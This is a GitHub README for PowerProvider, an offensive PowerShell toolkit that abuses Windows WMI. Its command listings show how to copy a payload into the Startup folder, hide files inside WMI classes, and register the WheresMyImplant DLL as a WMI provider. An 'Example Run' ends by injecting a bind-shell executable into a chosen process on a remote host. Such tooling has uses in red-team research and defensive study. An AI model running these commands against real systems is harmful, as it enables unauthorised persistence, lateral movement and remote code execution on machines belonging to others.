README.md
October 1, 2017 · View on GitHub
PowerProvider
PowerProvider: A toolkit to manipulate WMI. This toolkit provides functionality to:
- Duplicate Classes
- Create static classes for file storage
- Remote Install WMI Providers
Primarily used in conjunction with WheresMyImplant - https://github.com/0xbadjuju/WheresMyImplant/
Methods
Class Duplication
- Invoke-WMIDuplicateClass
- Invoke-WMIDuplicateClass -TargetClassName Win32_Process -DuplicateClassName Win32_Create -ComputerName Credential
File Transfer
- Invoke-WMIUpload
- $Destination = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
- Invoke-WMIUpload -PayloadPath C:\Payload.exe -Destination ComputerName -Credential $Credential
- Invoke-WMIUpload -PayloadPath C:\Payload.exe -Inject -PayloadName Payload.exe -ComputerName Credential
- Invoke-WMIRemoteExtract
- $Destination = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
- Invoke-WMIRemoteExtract -PayloadName Payload.exe -Destination ComputerName -Credential $Credential
File Storage
- New-WMIFSClass
- New-WMIFSClass -ComputerName Credential
- ConvertTo-Base64
- $File = ConvertTo-Base64 -FileName C:\Payload.exe -Inject
- Invoke-InsertFileThreaded
- Invoke-InsertFileThreaded -EncodedText ComputerName -Credential $Credential -Verbose
- Invoke-RetrieveFile
- ComputerName -Credential $Credential
- ConvertFrom-Base64
- ComputerName -Credential $Credential
- ConvertTo-EncryptedText
- File
- ConvertFrom-EncryptedText
- EncryptedString
Provider Install
- Install-WMIProviderInstallUtil
- Install-WMIProviderInstallUtil -LibraryLocation C:\Windows\System32\wbem\WheresMysImplant.dll -ComputerName Credential
- Install-WMIProviderPowerShell
- Install-WMIProviderPowerShell -LibraryLocation C:\Windows\System32\wbem\WheresMysImplant.dll -ComputerName Credential
- Install-WMIProviderExtention
- Install-WMIProvider -LocalLibraryLocation C:\WheresMyImplant.dll -ComputerName Credential
- Uninstall-WMIProviderExtention
- Uninstall-WMIProvider -ProviderName WheresMyImplant -ClassName Win32_Implant C:\WheresMy -ComputerName Credential
Example Run
Upload the provider to the target host
Invoke-WMIUpload -PayloadPath C:\WheresMyImplant.dll -PayloadName WheresMyImplant.dll -Destination C:\Windows\System32\wbem -ComputerName Credential -Verbose
Register the provider on the target host
Install-WMIProviderExtention -LocalLibraryLocation C:\WheresMyImplant.dll -ComputerName Credential -Verbose
Upload the payload to the target host
Invoke-WMIUpload -PayloadPath C:\bind64.exe -PayloadName bind64.exe -ComputerName Credential -Inject -Verbose
Get the argumentlist order
(Get-WmiObject -List -Class Win32_Implant -ComputerName Credential).Methods["InjectPeWMIFS"].InParameters
Find a process to inject into
Get-WmiObject Win32_Process | Select Name, ProcessId
Inject into process and run payload
Invoke-WmiMethod -Class Win32_Implant -Name InjectPeWMIFS -ArgumentList "bind64.exe", "", 4596, "WMIFS" -ComputerName Credential